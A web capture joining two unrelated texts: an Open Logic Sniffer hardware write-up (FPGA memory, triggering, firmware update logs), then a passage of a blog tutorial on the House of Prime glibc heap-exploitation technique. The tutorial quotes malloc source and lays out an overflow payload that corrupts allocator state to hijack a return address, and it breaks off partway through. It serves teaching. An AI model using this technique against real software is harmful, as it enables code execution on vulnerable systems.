Click for a large image of the top half of the core schematic \[PNG\].

Click for a large image of the bottom half of the core schematic \[PNG\].

Get the latest project files from the Gadget Factory project page. The
original SUMP project is licensed under the GPL, you can get it at SUMP.org.

_OLS Design Changes_

The OLS uses the open source \(GPL\) SUMP logic analyzer VHDL design. It’s
synthesized with the free Xilinx ISE Web Pack tool suite. Our design is based
on Jonas Diemer’s Spartan 3E SUMP port \[ZIP\]. The following modifications
were made for the OLS hardware:

  * A new ucf \(User Constraint File\) was generated to map the pins of the FPGA to the layout of the OLS board and to support multiple numbering schemes.
  * Support for outputting the sample clock to an external pin was added.
  * Support for adding an external pin as a trigger was added.
  * Added support for Trigger and ARM LED’s.
  * Files for multiple BRAM memory configurations were added. The files were generated with the Xilinx Core generator and are Xilinx specific.

_Memory_

The OLS utilizes BRAM \(Block Ram\) that is embedded inside the Spartan 3E
FPGA, the included XC3S250E chip has 216K of BRAM available. There are six
bitstreams that allocate the available memory into different combinations of
memory depth and sampling channels. Currently the following memory/channel
configurations are available:

  * 32 channels with 4k sample depth.
  * 16 channels with 8k sample depth.
  * 8 channels with 16k sample depth.

You may have noticed that the above numbers don’t add up to the 216K of BRAM
that is available. With 8 channels we should be able to get 216k/8 = 27k
samples. The first issue is that the published size of 216K of BRAM includes
parity bits, without parity bits we actually have 192K of BRAM available. The
second issue is that the Sump design is setup to require a power of 8 for its
sample depth, so until the Sump design can be modified we are stuck with the
above power of 8 sample depths. Once these two issues are resolved the
possible memory/channel configurations will be:

  * 32 channels with 6k sample depth.
  * 16 channels with 13k sample depth.
  * 8 channels with 27k sample depth.

Our future design plans do include working on adding 32-64Mb of SDRAM memory.

_Bitstreams_

The output of the Xilinx Webpack synthesis tools is a bitstream file that is
used to configure the FPGA. We convert the bitstream \(\*.bit\) file to an
Intel Hex format \(\*.mcs\) using the Xilinx Impact application. The bitstream
is then loaded, by the PIC, into the Atmel SPI Flash chip. When power is
applied to the OLS the FPGA configures itself by loading the bitstream from
the SPI Flash chip.

There are currently six different bitstreams that provide for 3 different
memory configurations and 2 different numbering schemes. Currently, the
bitstreams have to be loaded with the pump-loader executable. Future revisions
will load the desired bitstream from the Java Logic Analyzer client. The
current bitstream options are:

  * 32 channels with 4k sample depth, inside numbering scheme.
  * 16 channels with 8k sample depth, inside numbering scheme.
  * 8 channels with 16k sample depth, inside numbering scheme.

  * 32 channels with 4k sample depth, outside numbering scheme.
  * 16 channels with 8k sample depth, outside numbering scheme.
  * 8 channels with 16k sample depth, outside numbering scheme.

_RLE_

__<img src='img/Temp2_1948.jpg' width='300' height='169' />

Run Length Encoding \(RLE\) helps make the most efficient use of available
memory. With RLE enabled memory is only filled when there is activity. If
there is a period of inactivity it is represented in memory with a value
instead of a large block of empty space. A practical example would be with
capturing UART data. In many cases there is a burst of continuous activity
while an 8 bit character is sent across the channel, but then there will be a
very long period of inactivity before the next character is sent across the
channel. Without RLE the available memory would quickly be filled up with
empty space and you would only be able to capture one or two characters. With
RLE only the activity is captured and the long pauses in between characters is
represented with a value that indicates how long the pause is instead. This
allows many more characters to be captured. RLE was added to the SUMP VHDL
design by Jonas Diemer when he released a BRAM based design. RLE has worked
very well with simple waveforms but needs further testing with more complex
signals like the UART example outlined above.

_Sampling_

OLS supports sampling rates from 10Hz \(10sps\) to 200Mhz \(200Msps\) and has
been able to capture perfect, generated waveforms up to 100Mhz. As a general
rule of thumb you need at least twice the sampling rate of the waveform you
are capturing. If you are trying to capture a 100Mhz waveform then you need a
200Mhz sampling rate, if you are trying to capture a 50Mhz waveform then you
need a 100Mhz sampling rate. In practice this rule of thumb does not always
hold up, some sources advise having at least 5 times the sampling rate of a
captured waveform. In our tests with repeating, simple, perfect waveforms we
have been able to use the twice the sampling rate rule of thumb.

We have seen that the results with the unbuffered 3.3V pins are better at
higher speeds than the 5V buffered pins.

_Triggering_

__<img src='img/Temp2_1951.jpg' width='281' height='173' />

The Sump VHDL core supports simple and complex triggering on all available
channels. Complex triggering supports 4 stages of parallel or serial
triggering. Triggers can be configured with how much of the waveform is
captured before and after the trigger. A trigger ratio of 50/50 puts the
trigger in the center of the captured waveform.

<img src='img/Temp2_1937.jpg' width='594' height='210' />

Simple triggering supports a Mask to indicate which channels to trigger on and
a Value to indicate whether to trigger on a ’1′ or ’0′. Click on the image
above to see how a trigger can be configured to trigger on a value of ’1′ on
channel 0.

For a deeper explanation about triggers take a look at the excellent Oak
Micros Logic Analyzer Guide.

_Clocks_

<img src='img/Temp2_1947.jpg' width='300' height='98' />

The Sump VHDL core is driven by the external 50Mhz oscillator or an external
clock connected to the CKI pin, the desired clock can be selected in the Java
client. The default is to use the 50Mhz clock which is doubled internally to
100Mhz by one of four Digital Clock Managers \(DCM\). This 100Mhz clock is
labeled as Internal in the Sump client options dialog. The external clock is
connected without modification to the sampling section and the Sampling Rate
option will be disabled.

<img src='img/Temp2_1928.jpg' width='300' height='194' />

When the Internal clock is used the sampling rate can be set from 10Hz up to
200Mhz. When 200Mhz is selected a Double Data Rate technique is used and the
signal is sampled on both the rising and falling edge of the 100Mhz clock. In
this mode the amount of available channels is cut in half to free up memory
for the additional samples. For example, if the bitstream is configured to
support 32 channels with 4k samples of memory then there is a 4k block of
memory that is 32 bits wide allocated within the FPGA. Each channel
corresponds to one of the 32 memory bits and is 4k deep. When 200Mhz is
selected twice the amount of memory is required to store the samples, so in
order to keep the 4k deep sampling space the available channels would be
reduced to 16. The bottom 16 bits of memory store the samples at the rising
edge and the top 16 bits of memory store the samples at the falling edge.

_Proposed Changes_

  * Changing the design to support all available BRAM memory.
  * There is a SRAM and a BRAM memory interface available, integrating a SDRAM controller is desirable since SRAM is much more expensive than SDRAM.
  * Replace the UART controller with a SPI controller to enable USB speeds up to 12Mb/s.
  * Add a register to indicate the memory depth, amount of supported channels, and numbering scheme of a bitstream. The Java client could then query the register and give a visual indication of what numbering scheme, how many channels, and amount of memory that the bitstream currently running on the FPGA supports.

**PIC Firmware**

The latest PIC firmware and source is available from the Gadget Factory
project page. The code is written in C, and is compiled with the Microchip C18
demonstration compiler. The bootloader is written in ASM and compiled with the
PIC 18 assembler.

We used Microchip’s free, but non-distributable, USB stack source code to
provide USB support in this project. To compile the firmware you need to
download the USB stack source directly from Microchip, then follow the
directions at the top of main.c in the OLS source code. A major goal of this
project is to create an open source virtual serial port code base to replace
the non-distributable Microchip USB stack.

The PIC is the interface glue for the circuit. It has three operating modes:

  1. Normal – a serial port to USB bridge for the SUMP logic analyzer
  2. ROM Updater – upload a new FPGA bitstream to the ROM chip
  3. Bootloader – update the main firmware in the PIC

_Normal mode_

The PIC usually operates in a transparent USB-> serial bridge that connects
the SUMP build in the FPGA with the SUMP client on a computer. This is the
default startup mode after a reset or power-up. Press the reset button to
enter normal operating mode from any other mode.

After a reset, the ACT LED will blink while the FPGA loads the bitstream
contained in the ROM chip. If the FPGA doesn’t load after a few seconds,
because of an error or blank ROM chip, the PIC will automatically enter ROM
update mode and the ACT LED will illuminate \(see _ROM updater_ below\).

The ACT LED will turn off when the FPGA is configured and ready. The OLS then
enumerates as a USB virtual serial port device. The first time you plug it in,
you may need to feed Windows the .inf file in the project archive to assign
driver to the device.

Once enumerated, the ACT LED blinks to indicate any USB activity.

_ROM Updater_

ROM updater mode is used to program a new FPGA bitstream into the flash
storage chip.This feature lets us release FPGA design updates that can be
loaded over the USB interface.

To enter ROM update mode, press the reset button while holding the update
button. The PIC will also automatically enter ROM update mode if the FPGA
doesn’t load correctly because of an error or blank ROM chip. The ACT LED will
light in this mode.

The OLS enumerates as a USB virtual serial port in ROM update mode, this is
the same connection type as the normal operating mode. The first time you plug
it in, give Windows the .inf file from the project folder to assign the
correct drivers to the device.

Use the pump-loader console utility for Windows, Linux, or Mac to load the
updated FPGA bitstream. There’s also a pump-loader.pl Perl utility that we
used during initial development.

ROM update procedure

  * Press the reset button while holding the update button.
  * The ACT LED will light and the OLS will enumerate as a USB virtual serial port.

[code]

    C:\pump>pump-loader -p:COM5 -status
    PUMP loader
    Opening serial port 'COM5' @ 921600 ... OK
    Found PUMP HW: 1, FW: 0.1, Boot: 1
    Found flash: ATMEL AT45DB041D
    no input file specified !
    
    C:\pump>
[/code]

  * Run pump-loader with the -status option to verify that the firmware is listening.

[code]

    C:\Perl\eg>pump-loader -p:COM5 -wH:pump.mcs -run
    PUMP loader
    Opening serial port 'COM5' @ 921600 ... OK
    Found PUMP HW: 1, FW: 0.1, Boot: 1
    Found flash: ATMEL AT45DB041D
    Reading HEX file 'pump.mcs' ... OK! (binary size = 169216)
    Will write 641 pages
    Page 0x0000 write ... OK
    ......
    Page 0x0280 write ... OK
    PUMP switched to RUN mode
    
    C:\Perl\eg>
[/code]

  * Use pump-loader to write a SUMP FPGA bitstream to the ROM chip. If you use the -run flag it will exit to normal operating mode when the upload is complete.

Look for more detailed upgrade guides in the Open Logic Sniffer links page.
Special thanks to Michal Demin, Piotr Pawluczuk, and Uwe Bannow for working on
the pump-loader utility. Michal won our developer’s challenge with his
lightning-quick coding skills.

_Bootloader_

We used the Diolan open source \(GPL\) USB bootloader in this project. The
bootloader appears as a USB HID device, and a small utility uploads a new
firmware to the PIC. We started with the bootloader source from the Dangerous
Prototypes’ USB Infrared Toy and ported it to the 18F24J50.

The Diolan bootloader is intended for the PIC18F2550 family of USB PICs. We
had to make several modifications to get it working on the 18F24J50:

  * Changed the configuration fuses
  * Added clock switching and PLL startup delay
  * Added register bank switches, where required.
  * Changed sleep mode to idle for 18fx4J50 PLL system
  * Changed page write \(64bytes\) to word write \(2bytes\)

One of the big issues we encountered with the port was a difference in flash
page write size between the regular and ‘j’ PICs. The Diolan bootloader
supports PICs that write flash memory in 32byte chunks \(pages\). The ‘j’ chip
writes flash in 2byte or 64byte chunks. The bootloader is designed to send an
entire page worth of data in a single USB HID packet. HID packets are 64bytes
long, once you include a few bytes of header there’s not enough room in a
single HID packet to transfer 64bytes of data to write to the flash memory.

Our quick solution was to take advantage of the 2byte word write mode and make
a custom compile of the Diolan utility that sends only 2 bytes in each HID
packet. This slows down the update because most of the USB HID packet is
wasted. It would be far faster to use the 64byte write mode and send 64bytes
of data over two HID packets with a flush flag in the second. We hope to
improve this with a new upgrade utility, the functionality is already
supported in the bootloader firmware.

If you’re working with a fresh chip, program the bootloader into the PIC using
the 5pin ICSP header. You’ll need a PICKIT or ICD programmer to load the
bootloader the first time.

Enter bootloader mode by placing a jumper between PGC and PGD pins and press
the reset button, or run the pump-loader utility with the -b flag. The ACT LED
will light when the bootloader is active. Use the fw\_update.exe utility to
load new PIC firmware with the bootloader.

Firmware update procedure

  * Place a jumper between the PGC and PGD pins of the ICSP header.
  * Plug in USB. ACT LED lights. Bootloader enumerates as an HID device.
  * Remove the jumper. If you remove it now the bootloader will reset into user mode automatically, if not it will just return to the bootloader.

[code]

    C:\firmware>fw_update -e -w -vid 0x04D8 -pid 0xFC90 -ix v1-pumpfirmware-v0a.hex
     U2IO flash erasing: DONE.
     U2IO flash programming: DONE.
     RESET Device
     Operation successfully completed.
    
     C:\firmware>pause
     Press any key to continue . . .
     
[/code]

  * Run the firmware loader, or just use pump-program.bat.
  * The chip is erased and then \(slowly\) programmed. Slowly is 30 seconds-ish. If we fix the app it will program in 1-2 seconds.
  * Remove the jumper \(if you didn’t earlier\).

Look for more detailed upgrade guides in the Open Logic Sniffer links page.
Special thanks to Piotr Pawluczuk for getting the firmware update utility to
compile for us.

**Using it**

Install Java, the rxtx serial port library, and the SUMP client. The Gadget
Factory has a version compiled from the latest source code. There is also a
Windows compile of SUMP that doesn’t require you to install Java.

We’ll give you a brief overview of the SUMP client below, but be sure to
download Oak Micros’ detailed SUMP manual.

<img src='img/Temp2_1927.jpg' width='450' height='281' alt='SUMP-config' />

Open SUMP. Press the rocket button. Configure SUMP as shown here.

  1. Change the serial port to match the OLS serial port on your system.
  2. Select channel groups to sample. Group 0 and 1 represent the 16 buffered channels. Group 2 and 3 are the 16 unbuffered channels on the wing header.
  3. The OLS can capture 16k samples with 8 channels, 8k samples with 16 channels, and 4k samples on 32 channels.
  4. All speed settings are valid.
  5. Click capture to start.

<img src='img/Temp2_1952.jpg' width='500' height='134' alt='SUMPtrigger' />

Sampling can also be triggered by a change on one or more pins.

  1. Enable the trigger by checking the enable box.
  2. Check the mask bits to set the state of the input pins that will trigger sampling. Optionally configure multiple trigger stages.
  3. Configure the number of samples to capture before and after the trigger event.
  4. Click capture. The ARM LED lights to indicate that the analyzer is active. A match to the selected pins triggers sampling.

**Taking it further**

The OLS has been a collaborative community effort. We designed the entire
toolchain to be as flexible and upgradable as possible. Here’s some of the
ideas we have for upgrades and improvements:

  * Implement a high speed SPI connection between the PIC and FPGA to improve sample download speeds. SUMP client will need a minor modification to include higher serial port baud rates, up to 12MBPS.
  * Add more protocol analyzers to the SUMP Java logic analyzer client.
  * The PIC can be configured for other USB protocols for clients that support them.
  * Add bulk transfers for a continuous sampling mode.
  * We’re already working on an open source digital sampling oscilloscope wing.
  * Improve the bootloader update speed. Cleanup the firmware update code.
  * Create an open source compatible USB virtual serial port firmware.
  * A future hardware revision may include SRAM or a bigger FPGA chip to store more samples.****

**Get one\!**__

You can get the assembled Open Logic Sniffer hardware for $45, including
worldwide shipping. Seeed Studio is accepting preorders now, the hardware
should be manufactured by March 31, 2010.

If you’re interested in FPGA development and designing your own prototypes,
check out the Butterfly Platform we used to develop the Open Logic Sniffer.
You can get the Butterfly Platform at the Gadget Factory now for $99.

Your support made this open source project possible. Thanks to everyone who
contributed to this project with suggestions, advise, or by making a purchase.
We couldn’t do it without you.

<img src='img/Temp2_1933.jpg' width='490' height='177' />

# x86 Exploitation 101: this is the first witchy house | gb\_master's /dev/null
**Created:**| _7/16/2015 10:59:21 AM_  
---|---  
**Updated:**| _7/16/2015 11:02:27 AM_  
**Author:**| __  
**Tags:**| _x86_  
  

So, history goes on with Phantasmal Phantasmagoria publishing a groundbreaking
article in 2005 \(right after the one-line-of-code unlink fix\) called Malloc
Maleficarum proposing five new ways of attacking the Linux heap
implementation. If it took four years to fix the unlink vulnerability with
just one line of code, so things looked pretty interesting in 2005. The
article proposed by Phantasmal Phatasmagoria actually didn’t include any
example of exploit and was more or less purely theoretical, pointing the
finger to new directions. We had to wait two years for the first incarnation
of one of these techniques and two more years to see an article describing all
the others \(I’m not saying that in the meanwhile there were no exploits based
on these new vulnerabilities\). Anyway the hacker K-sPecial published his own
article on .aware called The House of Mind and a most-probably spanish hacker
called blackngel \(yes, without the “a”\) published another article on Phrack
66 on 2009 called Malloc Des-Maleficarum, both explaining, with examples, how
to use the techniques previously mentioned.

  

Phantasmal Phantasmagorias named these techniques with names of Houses \(who
knows why\), so we have:

\- The House of Prime

\- The House of Mind

\- The House of Force

\- The House of Lore

\- The House of Spirit

  

I will try to explain how do they work \(some of them, again, not working
anymore\) one by one. In order to study these techniques it’s strongly
advisable to give a look at the glibc’s source code: the version available at
the time when the articles were written was 2.3.5. Anyway, before doing this,
it’s mandatory to understand the concept of fastbin \(somebody remembers the
fastbinsY\[NFASTBIN\] array in the malloc\_state structure?\). Fastbins are
different from the standard bins:

\- Chunks included in the fastbin are small \(by default, their size can be up
to 64+4+4 bytes, but the maximum can be tuned up to 80+4+4 bytes by setting
the DEFAULT\_MXFAST variable\)

\- Chunks handled by fastbins keep are not coalesced with the neighbors when
it’s free\(\) time, as they keep their inuse bit set

\- The list data structure has only a singular link

  

They are removed in a LIFO fashion, while the classic bin is organized in FIFO

  

Handling these chunks in fastbins allows a faster access, even if the price to
pay is a higher fragmentation due to the missing coalescence.

  

THE HOUSE OF PRIME

  

Ingredients:

\- Two free\(\)’s of chunks under the exploiter’s control \(the exploiter MUST
be able to modify the size of these two chunks\)

\- Those two free\(\)’s must be followed by a call to malloc\(\) in which the
exploiter can write data

  

Hypothetical scenario:

  

char \*overflowed\_ptr = \(char \*\)malloc\(256\);  
char \*ptr1 = \(char \*\)malloc\(256\);  
char \*ptr2 = \(char \*\)malloc\(256\);  
char \*ptr3;  
\[...\]  
/\* overflow on overflowed\_ptr \*/  
\[...\]  
free\(ptr1\);  
\[...\]  
free\(ptr2\);  
\[...\]  
ptr3 = \(char \*\)malloc\(256\);

  

The first goal of this technique is to overwrite the maximum chunk size
allowed to be handled by fastbins. This information is stored at
initialization time in the max\_fast of the malloc\_state structure: this step
is done at line \#2295 thanks to the set\_max\_fast macro.

  

The whole trip starts with free\(ptr1\), so it’s cool to give a look at the
beginning of this function:

  

void  
\_int\_free\(mstate av, Void\_t\* mem\)  
\{  
  mchunkptr      p;          /\* chunk corresponding to mem \*/  
  INTERNAL\_SIZE\_T size;        /\* its size \*/  
  mfastbinptr\*    fb;          /\* associated fastbin \*/  
  
  \[...\]  
  
  p = mem2chunk\(mem\);  
  size = chunksize\(p\);  
  
  /\* Little security check which won't hurt performance: the  
    allocator never wrapps around at the end of the address space.  
    Therefore we can exclude some size values which might appear  
    here by accident or by "design" from some intruder.  \*/  
  if \(\_\_builtin\_expect \(\(uintptr\_t\) p > \(uintptr\_t\) -size, 0\)  
      || \_\_builtin\_expect \(\(uintptr\_t\) p & MALLOC\_ALIGN\_MASK, 0\)\)  
    \{  
      errstr = "free\(\): invalid pointer";  
    errout:  
      malloc\_printerr \(check\_action, errstr, mem\);  
      return;  
    \}  

  

It is, of course, of crucial importance to be able to pass the “little
security check”: -size must be greater than the value of p and that p is well
aligned. Even if the exploiter doesn’t actually control the value of p, he
\(or she\) can control its size: the smallest size possible is our aim. So, if
the three LSB of the size are reserved for flags, this means that the smallest
chunk is 8 byte large.

  

Going on, at line \#4244 we find this other piece of code:

  

  /\*  
    If eligible, place chunk on a fastbin so it can be found  
    and used quickly in malloc.  
  \*/  
  
  if \(\(unsigned long\)\(size\) <= \(unsigned long\)\(av->max\_fast\)  
  
\#if TRIM\_FASTBINS  
      /\*  
If TRIM\_FASTBINS set, don't place chunks  
bordering top into fastbins  
      \*/  
      && \(chunk\_at\_offset\(p, size\) \!= av->top\)  
\#endif  
      \) \{  
  
    if \(\_\_builtin\_expect \(chunk\_at\_offset \(p, size\)->size <= 2 \*
SIZE\_SZ, 0\)  
|| \_\_builtin\_expect \(chunksize \(chunk\_at\_offset \(p, size\)\)  
        >= av->system\_mem, 0\)\)  
      \{  
errstr = "free\(\): invalid next size \(fast\)";  
goto errout;  
      \}  
  
    set\_fastchunks\(av\);  
    fb = &\(av->fastbins\[fastbin\_index\(size\)\]\);  
    /\* Another simple check: make sure the top of the bin is not the  
      record we are going to add \(i.e., double free\).  \*/  
    if \(\_\_builtin\_expect \(\*fb == p, 0\)\)  
      \{  
errstr = "double free or corruption \(fasttop\)";  
goto errout;  
      \}  
    p->fd = \*fb;  
    \*fb = p;  
  \}

  

Ah, here’s the check for the size of a chunk: if it’s smaller than the maximum
size for a fastbin, then the chunk goes into a fastbin. The first if is easily
passed, as we used the smallest size possible, and anyway av->max\_fast is
equal to 72 by default \(av is the arena pointer\). Then, woooops, another
check on the size: this time is on the next chunk. The next chunk’s size must
be greater than 2\*SIZE\_SZ \(2\*4=8\): again this is not a big issue, as the
exploiter can control the size of the second chunk as well \(it’s easier if
the overflow allows NULL characters, otherwise it gets tricky\). Also the next
chunk’s size must be less than av->system\_mem \(of course\).

  

Anyway, this size won’t be even set in the real size field of ptr2, as the
next chunk’s address is computed by adding ptr1‘s size to ptr1 address \(as
usual\): fact is that the exploiter changed the size to 0, so, according to
free\(ptr1\), ptr2‘s chunk is located at ptr1+0 \(after ptr1‘s headers\),
while instead it’s located at ptr1+256. The layout of the exploit starts
taking a shape:

  

0x41 0x41 0x41 0x41            ptr1 prev\_size  
0x09 0x00 0x00 0x00            ptr1 size + PREV\_INUSE bit  
0x41 0x41 0x41 0x41            ptr2 \(according to free\(ptr1\)\) prev\_size  
0x10 0x00 0x00 0x00            ptr2 \(according to free\(ptr1\)\) size  
0x41 0x41 0x41 0x41            -\  
\[...\]                          | still part of ptr1's space \(248 \* 0x41's\)  
0x41 0x41 0x41 0x41            -/  
0x41 0x41 0x41 0x41            ptr2 prev\_size

  

Important thing to keep in mind, before going on to the next step, is how the
fields of the malloc\_state are organized:

  

  /\* The maximum chunk size to be eligible for fastbin \*/  
  INTERNAL\_SIZE\_T  max\_fast;  /\* low 2 bits used as flags \*/  
  
  /\* Fastbins \*/  
  mfastbinptr      fastbins\[NFASTBINS\];  
  
  /\* Base of the topmost chunk -- not otherwise kept in a bin \*/  
  mchunkptr        top;

  

The position of max\_fast compared to fastbins \(huh, it was called fastbins
back in the days and not fastbinsY\) is crucial: they are contiguous.

  

So, the line \#4264 reads the address of the fastbin from the address, given
the index. The index is computed by using the following macro:

  

/\* offset 2 to use otherwise unindexable first 2 bins \*/  
\#define fastbin\_index\(sz\)        \(\(\(\(unsigned int\)\(sz\)\) >> 3\) -
2\)

  

What happens when 8 is the size of the chunk? Well, the result is -1. Given
the layout of malloc\_state, the returned address is the one of the max\_fast
field and it is stored in the fb variable. The rest is done by line \#4273:
the max\_fast variable is set with the value of p. This means that now the
maximum size is set to a value of the order of 0x080XXXXX.

  

The next goal is to overwrite the arena\_key variable during free\(ptr2\):
this is a very particular one, as it’s thread dependent and it’s used to
identify the arena for the current thread. In case of multi-threaded
applications, this can become a little bit painful; in case of single-threaded
applications, instead, this one can be treated like a standard variable. The
get\_arena macro uses the value stored in the arena\_key variable to retrieve
the arena and set the mutex on it: in case it fails, it creates a new arena:

  

/\* arena\_get\(\) acquires an arena and locks the corresponding mutex.  
  First, try the one last locked successfully by this thread.  \(This  
  is the common case and handled with a macro for speed.\)  Then, loop  
  once over the circularly linked list of arenas.  If no arena is  
  readily available, create a new one.  In this latter case, \`size'  
  is just a hint as to how much memory will be required immediately  
  in the new arena. \*/  
  
\#define arena\_get\(ptr, size\) do \{ \  
  Void\_t \*vptr = NULL; \  
  ptr = \(mstate\)tsd\_getspecific\(arena\_key, vptr\); \  
  if\(ptr && \!mutex\_trylock\(&ptr->mutex\)\) \{ \  
    THREAD\_STAT\(++\(ptr->stat\_lock\_direct\)\); \  
  \} else \  
    ptr = arena\_get2\(ptr, \(size\)\); \  
\} while\(0\)

  

The arena\_key variable is actually stored in the arena.c file and not in
malloc.c: this means that its location in memory might be higher or lower than
the actual arena. The exploitation is possible only when arena\_key is at a
higher address. Overwriting this value is possible by using the fastbins
again, so another call to the free\(\) function is required.

  

In a standard 32-bit sytems, NFASTBINS gets set to 10: this value is computed
through different macros presuming the maximum chunk size possible
\(MAX\_FAST\_SIZE = 80, as we said before\). This means that, even if a
smaller size is specified, the amount of allocated fastbins is always the
same. The fastbin index is computed, then, dinamically by using the now-
familiar fastbin\_index macro. As the size for a fastbin is always smaller
than the MAX\_FAST\_SIZE macro and as the number of allocated fastbins is
computed on the maximum chunk size, this way of computing the index is safe.
Problem is that av->max\_fast variable now changed and the size variable can
be DEFINITELY bigger than MAX\_FAST\_SIZE. The aim is to overwrite arena\_key
by correctly setting an index for the fastbins array: the index must make
fastbins\[index\] pointing to arena\_key.

  

In the example provided by Phantasmal Phantasmagoria, arena\_key is 1156 bytes
away from fastbins\[0\], so I can use still this value as a valid example:
this means that fastbin\_index must return 1156/sizeof\(mfastbinptr\)=289.
Inverting the fastbin\_index macro is possible:

  

\(289 + 2\) << 3 = 2328 = 0x918

  

The PREV\_INUSE bit needs to be set for ptr2, so its size must be set to
0x919. In the end, fb will point exactly at arena\_key, that will be
overwritten with the value of ptr2. The exploit layout evolves into:

  

0x41 0x41 0x41 0x41            ptr1 prev\_size  
0x09 0x00 0x00 0x00            ptr1 size + PREV\_INUSE bit  
0x41 0x41 0x41 0x41            ptr2 \(according to free\(ptr1\)\) prev\_size  
0x10 0x00 0x00 0x00            ptr2 \(according to free\(ptr1\)\) size  
0x41 0x41 0x41 0x41            -\  
\[...\]                          | still part of ptr1's space \(248 \* 0x41's\)  
0x41 0x41 0x41 0x41            -/  
0x41 0x41 0x41 0x41            ptr2 prev\_size  
0x19 0x09 0x00 0x00            ptr2 size + PREV\_INUSE bit

  

So, the second task is complete. The reason why it is important to overwrite
arena\_key gets evident when the malloc is called. A little analysis of first
line of code of a malloc is mandatory here:

  

Void\_t\*  
public\_mALLOc\(size\_t bytes\)  
\{  
  mstate ar\_ptr;  
  Void\_t \*victim;  
  
  \[...\]  
  
  arena\_get\(ar\_ptr, bytes\);  
  if\(\!ar\_ptr\)  
    return 0;  
  victim = \_int\_malloc\(ar\_ptr, bytes\);  
  \[...\]  
  return victim;  
\}

  

First thing the malloc tries to do is to retrieve the arena and to store the
address in ar\_ptr by using the arena\_get macro. As the arena\_key is set to
a value different from zero, the macro won’t try to create a new arena.
As ar\_ptr is the current arena and points directly to the ptr2 chunk space,
the max\_fast field corresponds to the ptr2‘s size field. The pointer is then
passed to the \_int\_malloc function, in which the following happens:

  

Void\_t\*  
\_int\_malloc\(mstate av, size\_t bytes\)  
\{  
  INTERNAL\_SIZE\_T nb;              /\* normalized request size \*/  
  unsigned int    idx;              /\* associated bin index \*/  
  mbinptr        bin;              /\* associated bin \*/  
  mfastbinptr\*    fb;              /\* associated fastbin \*/  
  
  mchunkptr      victim;          /\* inspected/selected chunk \*/  
  
  \[...\]  
  
  /\*  
    Convert request size to internal form by adding SIZE\_SZ bytes  
    overhead plus possibly more to obtain necessary alignment and/or  
    to obtain a size of at least MINSIZE, the smallest allocatable  
    size. Also, checked\_request2size traps \(returning 0\) request sizes  
    that are so large that they wrap around zero when padded and  
    aligned.  
  \*/  
  
  checked\_request2size\(bytes, nb\);  
  
  /\*  
    If the size qualifies as a fastbin, first check corresponding bin.  
    This code is safe to execute even if av is not yet initialized, so we  
    can try it without checking, which saves some time on this fast path.  
  \*/  
  
  if \(\(unsigned long\)\(nb\) <= \(unsigned long\)\(av->max\_fast\)\) \{  
    long int idx = fastbin\_index\(nb\);  
    fb = &\(av->fastbins\[idx\]\);  
    if \( \(victim = \*fb\) \!= 0\) \{  
      if \(\_\_builtin\_expect \(fastbin\_index \(chunksize \(victim\)\) \!=
idx, 0\)\)  
malloc\_printerr \(check\_action, "malloc\(\): memory corruption \(fast\)",  
    chunk2mem \(victim\)\);  
      \*fb = victim->fd;  
      check\_remalloced\_chunk\(av, victim, nb\);  
      return chunk2mem\(victim\);  
    \}  
  \}

  

\- If the requested size is smaller than av->max\_fast, then the fastbin index
is computed on the request and the fastbin is retrieved: by setting a fake
fastbin entry, it is possible to return a stack address. The problem comes
with the following security check on the chunk retrieved: the fastbin index is
recomputed and compared to the one previously computed. This means that the
size of the chunk must be correctly set. So the exploiter can’t just return an
address in the stack, but must use an address 4 bytes before an user
controlled value in the stack set to the chunk size.

\- Once found this address of memory, the exploit should allow to return
always the same address of memory, whichever request is made:  
0x41 0x41 0x41 0x41            ptr1 prev\_size  
0x09 0x00 0x00 0x00            ptr1 size + PREV\_INUSE bit  
0x41 0x41 0x41 0x41            ptr2 \(according to free\(ptr1\)\) prev\_size  
0x10 0x00 0x00 0x00            ptr2 \(according to free\(ptr1\)\) size  
0x41 0x41 0x41 0x41            -\  
\[...\]                          | still part of ptr1's space \(248 \* 0x41's\)  
0x41 0x41 0x41 0x41            -/  
0x41 0x41 0x41 0x41            ptr2 prev\_size  
0x19 0x09 0x00 0x00            ptr2 size + PREV\_INUSE bit  
0x... CHUNK ADDRESS            the address location to overwrite  
0x... CHUNK ADDRESS            set for all the possible fastbins  
0x... CHUNK ADDRESS  
0x... CHUNK ADDRESS  
\[...\]  
0x... CHUNK ADDRESS  
0x10 0x00 0x00 0x00            after the address, only free chunks  
0x10 0x00 0x00 0x00  
0x10 0x00 0x00 0x00  
\[...\]  
0x10 0x00 0x00 0x00  

  

\- Let’s say that the address returned is the location of memory where the
return address is stored, then the exploiter will be able to overwrite it with
whatever he wants.

\- If it has been possible to allocate a chunk bigger than the second chunk,
then the first if is obviously skipped and the following code is executed at
\#3925:

  

\- /\*  
  Process recently freed or remaindered chunks, taking one only if  
  it is exact fit, or, if this a small request, the chunk is remainder from  
  the most recent non-exact fit.  Place other traversed chunks in  
  bins.  Note that this step is the only place in any routine where  
  chunks are placed in bins.  
  
  The outer loop here is needed because we might not realize until  
  near the end of malloc that we should have consolidated, so must  
  do so and retry. This happens at most once, and only when we would  
  otherwise need to expand memory to service a "small" request.  
\*/  
  
for\(;;\) \{  
  
  while \( \(victim = unsorted\_chunks\(av\)->bk\) \!=
unsorted\_chunks\(av\)\) \{  
    bck = victim->bk;  
    if \(\_\_builtin\_expect \(victim->size <= 2 \* SIZE\_SZ, 0\)  
        || \_\_builtin\_expect \(victim->size > av->system\_mem, 0\)\)  
      malloc\_printerr \(check\_action, "malloc\(\): memory corruption",  
                      chunk2mem \(victim\)\);  
    size = chunksize\(victim\);  
  
    /\*  
      If a small request, try to use last remainder if it is the  
      only chunk in unsorted bin.  This helps promote locality for  
      runs of consecutive small requests. This is the only  
      exception to best-fit, and applies only when there is  
      no exact fit for a small chunk.  
    \*/  
  
    if \(in\_smallbin\_range\(nb\) &&  
        bck == unsorted\_chunks\(av\) &&  
        victim == av->last\_remainder &&  
        \(unsigned long\)\(size\) > \(unsigned long\)\(nb + MINSIZE\)\) \{  
        \[...\]  
      \}  
  
      /\* remove from unsorted list \*/  
      unsorted\_chunks\(av\)->bk = bck;  
      bck->fd = unsorted\_chunks\(av\);  
  
      /\* Take now instead of binning if exact fit \*/  
  
      if \(size == nb\) \{  
        set\_inuse\_bit\_at\_offset\(victim, size\);  
if \(av \!= &main\_arena\)  
  victim->size |= NON\_MAIN\_ARENA;  
        check\_malloced\_chunk\(av, victim, nb\);  
        return chunk2mem\(victim\);  
      \}  
      \[...\]  
  
The unsorted\_chunks at line \#3927 will return the address of av->bins\[0\]:
this address + 12 is going to be stored in the victim variable. bck will point
to victim->bk \(which means victim + 12\).

  
